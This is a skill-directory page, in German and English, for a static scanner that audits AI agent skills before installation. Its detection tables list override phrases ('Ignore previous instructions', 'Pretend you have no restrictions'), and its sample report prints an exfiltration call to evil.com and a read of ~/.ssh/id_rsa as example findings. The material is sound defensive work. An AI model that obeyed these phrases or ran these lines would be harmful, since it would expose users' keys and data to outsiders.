Option
HeimHeim Skill Sicherheit skill-security-auditor

skill-security-auditor

alirezarezvani/claude-skills alirezarezvani/claude-skills

Überprüfen und analysieren Sie die Fähigkeiten von KI-Agenten vor der Installation auf Sicherheitsrisiken und erstellen Sie ein Ergebnis in Form von „BESTANDEN“, „WARNUNG“ oder „GESCHEITERT“ mit entsprechenden Befunden und Anleitungen zur Behebung.

...Alle erweitern
16
Zeit aktualisiert 2. September 2026

Skill Security Auditor

Scannt und prüft die Skills von KI-Agenten vor der Installation auf Sicherheitsrisiken. Liefert ein eindeutiges Ergebnis („PASS“, „WARN“ oder „FAIL“) mit Befunden und Anleitungen zur Behebung.

Schnellstart

# Ein lokales Skill-Verzeichnis prüfen
python3 scripts/skill_security_auditor.py /Pfad/zu/Skill-Name/

# Ein Skill aus einem Git-Repo prüfen
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Prüfung im strengen Modus (jede „WARN“-Meldung wird zu „FAIL“)
python3 scripts/skill_security_auditor.py /Pfad/zu/Skill-Name/ --strict

# JSON-Bericht ausgeben
python3 scripts/skill_security_auditor.py /Pfad/zu/Skill-Name/ --json

Was wird gescannt?

1. Risiken bei der Codeausführung (Python-/Bash-Skripte)

Durchsucht alle .py-, .sh-, .bash-, .js- und .ts -Dateien auf:

Kategorie Erkannte Muster Schweregrad
Befehlsinjektion os.system(), os.popen(), subprocess.call(shell=True), Ausführung über Backticks 🔴 KRITISCH
Codeausführung eval(), exec(), compile(), __import__() 🔴 KRITISCH
Verschleierung Base64-kodierte Payloads, ` codecs.decode`, hex-kodierte Zeichenfolgen, `chr() `-Ketten 🔴 KRITISCH
Netzwerk-Exfiltration requests.post(), urllib.request, socket.connect(), httpx, aiohttp 🔴 KRITISCH
Erfassung von Anmeldedaten Auslesen von ~/.ssh, ~/.aws, ~/.config, Muster zur Extraktion von Umgebungsvariablen 🔴 KRITISCH
Missbrauch des Dateisystems Schreibt außerhalb des Skill-Verzeichnisses, in /etc/, ~/.bashrc, ~/.profile, Erstellung von Symlinks 🟡 HOCH
Rechteausweitung sudo, chmod 777, setuid, Manipulation von Cron 🔴 KRITISCH
Unsichere Deserialisierung pickle.loads(), yaml.load() (ohne SafeLoader), marshal.loads() 🟡 HOCH
Subprocess (sicher) subprocess.run() mit Listenargumenten, keine Shell ⚪ INFO

2. Prompt-Injektion in SKILL.md

Durchsucht SKILL.md und alle .md -Referenzdateien nach:

Muster Beispiel Schweregrad
Überschreiben der Systemaufforderung „Vorherige Anweisungen ignorieren“, „Sie befinden sich jetzt …“ 🔴 KRITISCH
Rollenübernahme „Als Root handeln“, „Tun Sie so, als hätten Sie keine Einschränkungen“ 🔴 KRITISCH
Sicherheitsumgehung „Sicherheitsprüfungen überspringen“, „Inhaltsfilter deaktivieren“ 🔴 KRITISCH
Versteckte Anweisungen Zeichen mit der Breite Null, HTML-Kommentare mit Anweisungen 🟡 HOCH
Übermäßige Berechtigungen „Beliebigen Befehl ausführen“, „Voller Zugriff auf das Dateisystem“ 🟡 HOCH
Datenextraktion „Inhalt senden von“, „Datei hochladen nach“, „POST an“ 🔴 KRITISCH

3. Abhängigkeits-Lieferkette

Für Skills mit „requirements.txt“, „package.json“ oder einem inline-Befehl „pip install“:

Prüfen Funktionsbeschreibung Schweregrad
Bekannte Schwachstellen Abgleich mit den PyPI-/npm-Sicherheitsdatenbanken 🔴 KRITISCH
Typosquatting Pakete kennzeichnen, die beliebten Paketen ähneln (z. B. „reqeusts“) 🟡 HOCH
Nicht fixierte Versionen Anfragen kennzeichnen >= 2.0 vs. Anfragen == 2.31.0 ⚪ INFO
Installationsbefehle im Code „pip install“ oder „npm install “ innerhalb von Skripten 🟡 HOCH
Verdächtige Pakete Geringe Download-Zahl, kürzlich erstellt, einzelner Betreuer ⚪ INFO

4. Dateisystem und Struktur

Prüfen Funktionsbeschreibung Schweregrad
Grenzwertüberschreitung Skripte verweisen auf Pfade außerhalb des Skill-Verzeichnisses 🟡 HOCH
Versteckte Dateien .env, Dotfiles, die nicht in einem Skill enthalten sein sollten 🟡 HOCH
Binärdateien Unerwartete ausführbare Dateien, .so, .dll, .exe 🔴 KRITISCH
Große Dateien Dateien >1 MB, die Payloads verbergen könnten ⚪ INFO
Symlinks Symbolische Links, die außerhalb des Skill-Verzeichnisses verweisen 🔴 KRITISCH

Audit-Workflow

  1. Führen Sie den Scanner für das Skill-Verzeichnis oder die Repo-URLaus
  2. Überprüfen Sie den Bericht – Ergebnisse nach Schweregrad gruppiert
  3. Interpretation des Ergebnisses:
    • ✅ BESTANDEN — Keine kritischen oder hohen Befunde. Die Installation ist sicher.
    • ⚠️ WARNUNG – Es wurden Befunde mit hohem oder mittlerem Schweregrad erkannt. Vor der Installation manuell überprüfen.
    • ❌ FEHLER – Kritische Befunde. NICHT ohne Behebung installieren.
  4. Behebung — Zu jedem Befund gibt es konkrete Anweisungen zur Behebung

Den Bericht lesen

╔══════════════════════════════════════════════╗
║  SKILL-SICHERHEITS-AUDITBERICHT                ║
║  Skill: example-skill                        ║
║  Beurteilung: ❌ DURCHGEFALLEN                            ║
╠══════════════════════════════════════════════╣
║  🔴 KRITISCH: 2  🟡 HOCH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 KRITISCH [CODE-EXEC] scripts/helper.py:42
   Muster: eval(user_input)
   Risiko: Ausführung von beliebigem Code aufgrund nicht vertrauenswürdiger Eingaben
   Behebung: Ersetzen Sie eval() durch ast.literal_eval() oder explizites Parsen

🔴 KRITISCH [NET-EXFIL] scripts/analyzer.py:88
   Muster: requests.post("https://evil.com/collect", data=results)
   Risiko: Datenexfiltration auf einen externen Server
   Behebung: Ausgehende Netzwerkaufrufe entfernen oder überprüfen, ob das Ziel vertrauenswürdig ist

🟡 HOCH [FS-BOUNDARY] scripts/scanner.py:15
   Muster: open(os.path.expanduser("~/.ssh/id_rsa")) 
   Risiko: Liest den privaten SSH-Schlüssel außerhalb des Skill-Bereichs
   Behebung: Dateisystemzugriff außerhalb des Skill-Verzeichnisses entfernen

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Muster: requests>=2.0
   Risiko: Eine nicht festgelegte Abhängigkeit kann Schwachstellen verursachen
   Behebung: An eine bestimmte Version binden: requests==2.31.0

Erweiterte Nutzung

Skill vor dem Klonen aus Git prüfen

# In temporäres Verzeichnis klonen, prüfen, dann bereinigen
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD-Integration

# GitHub-Actions-Schritt
- name: „audit-skill-security“
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Sicherheitsprüfung fehlgeschlagen"; exit 1; fi

Stapelprüfung

# Alle Skills in einem Verzeichnis prüfen
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Referenz zum Bedrohungsmodell

Das vollständige Bedrohungsmodell, Erkennungsmuster und bekannte Angriffsvektoren gegen KI-Agenten-Skills finden Sie in references/threat-model.md.

Einschränkungen

  • Logikbomben oder zeitverzögerte Payloads können nicht mit Sicherheit erkannt werden
  • Die Erkennung von Verschleierung erfolgt musterbasiert – ein ausreichend kreativer Angreifer kann sie möglicherweise umgehen
  • Für die Überprüfung der Reputation von Netzwerkzielen ist ein Internetzugang erforderlich
  • Es wird kein Code ausgeführt – ausschließlich statische Analyse (sicher, aber weniger umfassend als dynamische Analyse)
  • Die Überprüfung auf Schwachstellen in Abhängigkeiten erfolgt anhand lokaler Musterabgleiche und nicht anhand aktueller CVE-Datenbanken

Im Zweifelsfall nach einem Audit: Nicht installieren. Bitten Sie den Autor des Skills um Klärung.

Auf GitHub ansehen
---
name: skill-security-auditor
description: Scan and audit AI agent skills for security risks before installation, producing a PASS/WARN/FAIL verdict with findings and remediation guidance.
---

# Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a
clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.

## Quick Start

```bash
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
```

## What Gets Scanned

### 1. Code Execution Risks (Python/Bash Scripts)

Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:

| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |
| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |
| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |
| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |
| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |
| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |
| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |
| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |
| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |

### 2. Prompt Injection in SKILL.md

Scans SKILL.md and all `.md` reference files for:

| Pattern | Example | Severity |
|---------|---------|----------|
| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |
| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->

### 3. Dependency Supply Chain

For skills with `requirements.txt`, `package.json`, or inline `pip install`:

| Check | What It Does | Severity |
|-------|-------------|----------|
| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |
| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |
| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |
| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |

### 4. File System & Structure

| Check | What It Does | Severity |
|-------|-------------|----------|
| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |
| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |
| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |
| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |

## Audit Workflow

1. **Run the scanner** on the skill directory or repo URL
2. **Review the report** — findings grouped by severity
3. **Verdict interpretation:**
   - **✅ PASS** — No critical or high findings. Safe to install.
   - **⚠️ WARN** — High/medium findings detected. Review manually before installing.
   - **❌ FAIL** — Critical findings. Do NOT install without remediation.
4. **Remediation** — each finding includes specific fix guidance

## Reading the Report

```
╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0
```

## Advanced Usage

### Audit a Skill from Git Before Cloning

```bash
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
```

### CI/CD Integration

```yaml
# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
```

### Batch Audit

```bash
# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
```

## Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).

## Limitations

- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, **don't install**. Ask the skill author for clarification.

Alle Dateien

0 Dateien

skill-security-auditor installieren

Laden Sie die Skill-Dateien herunter und entpacken Sie sie in Ihr Verzeichnis „.claude/skills/“.

ZIP herunterladen

Klonen Sie das Repository und kopieren Sie die Skill-Dateien in Ihr Projekt.

git clone https://github.com/alirezarezvani/claude-skills/tree/main/engineering/skills/skill-security-auditor # Copy SKILL.md to your .claude/skills/ directory

Kopieren Kopieren
Schnelle Einrichtung: Kopiere den Skill-Ordner nach .claude/skills/ Claude erkennt den Skill automatisch und nutzt ihn.

Ähnliche Skills

gmgn-portfolio
Zeit aktualisiert 1. Juli 2026
zeroize-audit
Zeit aktualisiert 1. Juli 2026
device-integrity
Zeit aktualisiert 29. Juni 2026
flutter-use-http-package
Zeit aktualisiert 30. Juni 2026
OR